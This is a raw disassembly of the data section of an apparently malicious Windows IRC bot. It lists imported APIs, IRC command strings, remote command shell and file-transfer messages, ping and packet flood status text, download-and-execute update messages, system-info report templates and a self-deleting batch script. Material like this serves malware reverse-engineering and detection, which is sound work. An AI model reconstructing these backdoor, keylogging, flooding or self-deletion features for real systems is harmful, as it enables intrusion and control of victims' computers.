aRecv		db 'recv',0             ; DATA XREF: sub_40981F+5ECo
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_40981F+5DFo
		align 10h
aSend		db 'send',0             ; DATA XREF: sub_40981F+5D2o
					; sub_40EE72+220Do
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_40981F+5C5o
		align 10h
aNtohs		db 'ntohs',0            ; DATA XREF: sub_40981F+5B8o
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_40981F+5ABo
		align 10h
aHtons		db 'htons',0            ; DATA XREF: sub_40981F+59Eo
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_40981F+591o
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_40981F+584o
		align 10h
aConnect	db 'connect',0          ; DATA XREF: sub_40981F+577o
					; ___:0042FE54o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_40981F+56Ao
aSocket		db 'socket',0           ; DATA XREF: sub_40981F+55Do
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_40981F+550o
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_40981F+543o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_40981F+536o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_40981F+529o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_40981F+51Co
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_40981F+50Fo
		align 10h
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_40981F+507o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_40981F+4F6o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_40981F+483o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_40981F+476o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_40981F+469o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_40981F+45Co
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_40981F+44Fo
		align 10h
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_40981F+442o
		align 10h
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_40981F+435o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_40981F+428o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_40981F+420o
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_40981F:loc_409C2Eo
		align 10h
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_40981F:loc_409C06o
		align 10h
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_40981F+38Fo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_40981F+382o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_40981F+375o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_40981F+368o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_40981F+35Bo
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_40981F+34Eo
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_40981F+341o
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_40981F:loc_409B58o
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_40981F+309o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_40981F+2FCo
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_40981F:loc_409B13o
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_40981F+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_40981F+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_40981F+292o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_40981F+285o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_40981F+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_40981F+270o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_40981F:loc_409A7Eo
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_40981F+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_40981F+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_40981F+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_40981F:loc_409A17o
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_40981F+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_40981F+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_40981F+186o
		align 10h
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_40981F+179o
		align 10h
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_40981F+16Co
		align 10h
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_40981F+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_40981F+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_40981F+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_40981F:loc_409954o
					; sub_42105F+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_40981F:loc_409927o
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_40981F+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_40981F+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_40981F+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_40981F+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_40981F+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_40981F+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_40981F+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_40981F+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_40981F+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40981F+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_40981F+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_40981F+Ao
		align 4
unk_42D764	db    2			; DATA XREF: sub_40A4AC+2F2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Fh, 72h
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDllTestComplet	db '  DLL test complete.',0
		align 4
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+2CCo
		align 10h
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+264o
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+230o
		align 4
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+194o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+160o
		align 4
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+12Co
		align 10h
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+C4o
		align 10h
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+90o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+28o
		align 10h
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_40AA35+72o
		align 4
aMirc		db 'mIRC',0             ; DATA XREF: sub_40AAFA+5o
					; sub_415C5E+18o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_40AB7C+1Co
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_40AC20+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40AC42+140o
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_40AC42+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_40AC42+48o
		align 4
unk_42D9A8	db    2			; DATA XREF: sub_40AE02:loc_40AEC1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aNotSupportedBy	db '  Not supported by this system.',0
		align 4
unk_42D9E8	db    2			; DATA XREF: sub_40AE02:loc_40AE8Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUnableToAlloca	db '  Unable to allocation ARP cache.',0
		align 4
unk_42DA28	db    2			; DATA XREF: sub_40AE02:loc_40AE5Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aArpCacheIsEmpt	db '  ARP cache is empty.',0
		align 4
unk_42DA5C	db    2			; DATA XREF: sub_40AE02+49o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorGettingAr	db '  Error getting ARP cache: <%d>.',0
		align 4
unk_42DA9C	db    2			; DATA XREF: sub_40AF86+13Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	69h, 6Eh
		db  67h	; g
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFinishedSendin	db '  Finished sending pings to %s.',0
		align 4
unk_42DAD8	db    2			; DATA XREF: sub_40AF86+6Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	69h, 6Eh
		db  67h	; g
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSendingPi	db '  Error sending pings to %s.',0
		align 10h
dword_42DB10	dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B112+1C6o
		dd 2BBBB02h
aFinishedSend_0	db '  Finished sending packets to %s.',0
		align 4
dword_42DB4C	dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B112+8Eo
		dd 2BBBB02h
aErrorSending_1	db '  Error sending pings to %s.',0
		align 4
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_40B390+33o
dword_42DB94	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B417:loc_40B549o
		dd 2BBBB02h
aCouldNotReadDa	db '  Could not read data from proccess.',0Dh,0Ah,0
		align 4
dword_42DBD4	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B417+10Fo
		dd 2BBBB02h
aProccessHasTer	db '  Proccess has terminated.',0Dh,0Ah,0
		align 4
dword_42DC0C	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B417:loc_40B4FDo
		dd 2BBBB02h
aCouldNotRead_0	db '  Could not read data from proccess',0Dh,0Ah,0
		align 4
dword_42DC4C	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B56C+194o
		dd 2BBBB02h
aFailedToStartI	db '  Failed to start IO thread, error: <%d>.',0
		align 10h
dword_42DC90	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B56C+14Co
		dd 2BBBB02h
aRemoteCommandP	db '  Remote Command Prompt',0
aCmd_exe	db 'cmd.exe',0          ; DATA XREF: sub_40B56C+21o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_40B721+52o
aSysinfoCpuI64u	db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:'
					; DATA XREF: sub_40B8D8+297o
		db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:'
		db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:'
		db ' %s. [Uptime]: %s.',0
		align 4
aDdMmmYyyy	db 'dd:MMM:yyyy',0      ; DATA XREF: sub_40B8D8+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_40B8D8:loc_40BA3Co
		align 10h
word_42DDD0	dw 3Fh			; DATA XREF: sub_40B8D8:loc_40B9DAr
					; sub_40D099+1Fo
		align 4
dword_42DDD4	dd 28207325h, 297325h	; DATA XREF: sub_40B8D8+EBo
dword_42DDDC	dd 3F3F3Fh		; DATA XREF: sub_40B8D8:loc_40B99Bo
					; ___:loc_415C0Fo
a2003		db '2003',0             ; DATA XREF: sub_40B8D8+BAo
					; ___:0042F8DCo
		align 4
aXp		db 'XP',0               ; DATA XREF: sub_40B8D8+AAo
					; ___:00415BFAo
		align 4
a2k		db '2K',0               ; DATA XREF: sub_40B8D8+98o
					; ___:00415BEAo
		align 10h
aMe		db 'ME',0               ; DATA XREF: sub_40B8D8+7Eo
					; ___:00415BD1o
		align 4
a98		db '98',0               ; DATA XREF: sub_40B8D8+6Co
					; ___:00415BC1o
		align 4
aNt		db 'NT',0               ; DATA XREF: sub_40B8D8+5Ao
					; ___:00415BB1o
		align 4
a95		db '95',0               ; DATA XREF: sub_40B8D8+46o
					; ___:00415BA3o
		align 10h
aNetinfoTypeSS_	db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0
					; DATA XREF: sub_40BB8C+A4o
		align 10h
off_42DE40	dd offset loc_412F4B+3	; DATA XREF: sub_40BB8C:loc_40BBF8o
off_42DE44	dd offset dword_4E414C	; DATA XREF: sub_40BB8C:loc_40BBEEo
dword_42DE48	dd 6C616944h, 70752Dh	; DATA XREF: sub_40BB8C+5Bo
dword_42DE50	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_40BB8C+48o
unk_42DE60	db    2			; DATA XREF: sub_40BC4B:loc_40BE04o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 76h,	69h, 73h
		db  69h	; i
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToConnec	db 'Failed to connect to HTTP server.',0
		align 10h
unk_42DEA0	db    2			; DATA XREF: sub_40BC4B:loc_40BDFDo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 76h,	69h, 73h
		db  69h	; i
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aCouldNotOpenAC	db 'Could not open a connection.',0
		align 4
dword_42DEDC	dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh
					; DATA XREF: sub_40BC4B+1A0o
		dd 0BB022029h, 202002BBh, 61766E49h, 2064696Ch,	2E4C5255h
		dd 0
unk_42DF08	db    2			; DATA XREF: sub_40BC4B:loc_40BDDEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 76h,	69h, 73h
		db  69h	; i
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToGetReq	db 'Failed to get requested URL from HTTP server.',0
		align 4
dword_42DF54	dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh
					; DATA XREF: sub_40BC4B+18Co
		dd 0BB022029h, 202002BBh, 204C5255h, 69736976h,	2E646574h
		dd 0
dword_42DF80	dd 2A2F2Ah		; DATA XREF: sub_40BC4B+3Bo
dword_42DF84	dd 202E6425h, 3D207325h, 732520h ; DATA	XREF: sub_40BEF5+35o
dword_42DF90	dd 6C415B2Dh, 20736169h, 7473694Ch, 2D5Dh ; DATA XREF: sub_40BEF5+10o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_40BF6D+60o
		align 4
dword_42DFC4	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 1F702E73h, 29671F6Ch
					; DATA XREF: sub_40C00D+1Ao
		dd 0BBBB0220h, 20202002h, 61656C43h, 2E646572h,	0
dword_42DFEC	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C07F+DCo
		dd 2BBBB02h, 694C2020h,	63207473h, 6C706D6Fh, 2E657465h
		dd 0
dword_42E018	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C07F+3Fo
		dd 2BBBB02h, 65422020h,	6E6967h
dword_42E038	dd 80000002h, 42F6D0h, 80000002h, 42F700h, 80000001h, 42F738h
					; DATA XREF: sub_40C1AE+7o
dword_42E050	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C1AE+63o
					; sub_40C351+170o
		dd 2BBBB02h
aFailedToSendTo	db '  Failed to send to Remote command shell.',0
		align 4
dword_42E094	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C351+ABo
		dd 2BBBB02h
aFailedToOpenRe	db '  Failed to open remote command shell.',0
		align 4
dword_42E0D4	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C351+47o
					; sub_40C512+FDo
		dd 2BBBB02h
aFailedToOpenSo	db '  Failed to open socket.',0
		align 4
dword_42E108	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+362o
					; sub_40C8B4+156o
		dd 2BBBB02h, 6F532020h,	74656B63h, 72726520h, 2E726Fh
dword_42E130	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+2FAo
		dd 2BBBB02h
aTransferComp_0	db '  Transfer complete to IP: %s, Filename: %s (%s bytes).',0
dword_42E180	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+202o
		dd 2BBBB02h
aUnableToOpenSo	db '  Unable to open socket.',0
		align 4
dword_42E1B4	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+1CBo
		dd 2BBBB02h, 65532020h,	7420646Eh, 6F656D69h, 2E7475h
dword_42E1DC	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: sub_40C512+16Ao
		dd 169h
dword_42E1F4	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+127o
		dd 2BBBB02h
aFileDoesnTExis	db '  File doesn',27h,'t exist.',0
		align 4
dword_42E224	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+82o
		dd 2BBBB02h
aFailedToBindTo	db '  Failed to bind to socket.',0
dword_42E258	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+44o
		dd 2BBBB02h
aFailedToCreate	db '  Failed to create socket.',0
		align 4
dword_42E28C	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C8B4+1D1o
		dd 2BBBB02h
aTransferComp_1	db '  Transfer complete from IP: %s, Filename: %s (%s bytes).',0
		align 10h
dword_42E2E0	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C8B4+CBo
		dd 2BBBB02h
aErrorOpeningSo	db '  Error opening socket.',0
dword_42E310	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C8B4+ABo
		dd 2BBBB02h
aErrorOpeningFi	db '  Error opening file for writing.',0
		align 4
aAB		db 'a+b',0              ; DATA XREF: sub_40C8B4+97o
dword_42E350	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C8B4+83o
		dd 2BBBB02h
aErrorUnableToW	db '  Error unable to write file to disk.',0
		align 10h
unk_42E390	db    2			; DATA XREF: sub_40CAF1+493o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aBadUrlOrDnsErr	db '  Bad URL, or DNS Error: %s.',0
		align 4
unk_42E3CC	db    2			; DATA XREF: sub_40CAF1+485o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUpdateFailedEr	db '  Update failed: Error executing file: %s.',0
unk_42E414	db    2			; DATA XREF: sub_40CAF1+3C9o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloaded_1fk	db '  Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0
		align 4
dword_42E464	dd 7A026E02h, 201F6D1Fh, 776F6428h, 616F6C6Eh, 1F702E64h
					; DATA XREF: sub_40CAF1+358o
		dd 29671F6Ch, 0BBBB0220h, 4F202002h, 656E6570h,	25203A64h
		dd 2E73h
aOpen		db 'open',0             ; DATA XREF: sub_40CAF1+336o
					; sub_40EE72+2B48o ...
		align 4
unk_42E498	db    2			; DATA XREF: sub_40CAF1+2E1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloaded_1fK	db '  Downloaded %.1f KB to %s @ %.1f KB/sec.',0
		align 10h
unk_42E4E0	db    2			; DATA XREF: sub_40CAF1+262o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCrcFailedDD_	db '  CRC Failed (%d != %d).',0
		align 4
unk_42E518	db    2			; DATA XREF: sub_40CAF1+1D8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFilesizeIsInco	db '  Filesize is incorrect: (%d != %d).',0
		align 4
unk_42E55C	db    2			; DATA XREF: sub_40CAF1+195o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUpdateSDkbTran	db '  Update: %s (%dKB transferred).',0
		align 4
unk_42E59C	db    2			; DATA XREF: sub_40CAF1+183o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFileDownloadSD	db '  File download: %s (%dKB transferred).',0
		align 4
unk_42E5E4	db    2			; DATA XREF: sub_40CAF1+77o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCouldnTOpenFil	db '  Couldn',27h,'t open file: %s.',0
		align 4
aUnknown	db 'Unknown',0          ; DATA XREF: sub_40D099:loc_40D0DCo
					; sub_40DF4E+10Ao
aInvalid	db 'Invalid',0          ; DATA XREF: sub_40D099:loc_40D0D6o
aDisk		db 'Disk',0             ; DATA XREF: sub_40D099:loc_40D0D0o
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_40D099:loc_40D0CAo
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_40D099:loc_40D0C4o
		align 4
off_42E644	dd offset word_4D4152	; DATA XREF: sub_40D099:loc_40D0BEo
aFailed		db 'failed',0           ; DATA XREF: sub_40D12A:loc_40D208o
					; sub_40D24E+3Bo
		align 10h
aSkb		db '%sKB',0             ; DATA XREF: sub_40D12A+6Co
		align 4
unk_42E658	db    2			; DATA XREF: sub_40D24E+8Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Fh, 72h
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSDriveSSTotalS	db '  %s Drive (%s): %s total, %s free, %s available.',0
		align 4
unk_42E6A4	db    2			; DATA XREF: sub_40D24E+58o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Fh, 72h
		db  65h	; e
		db 2Eh,	70h, 1Fh
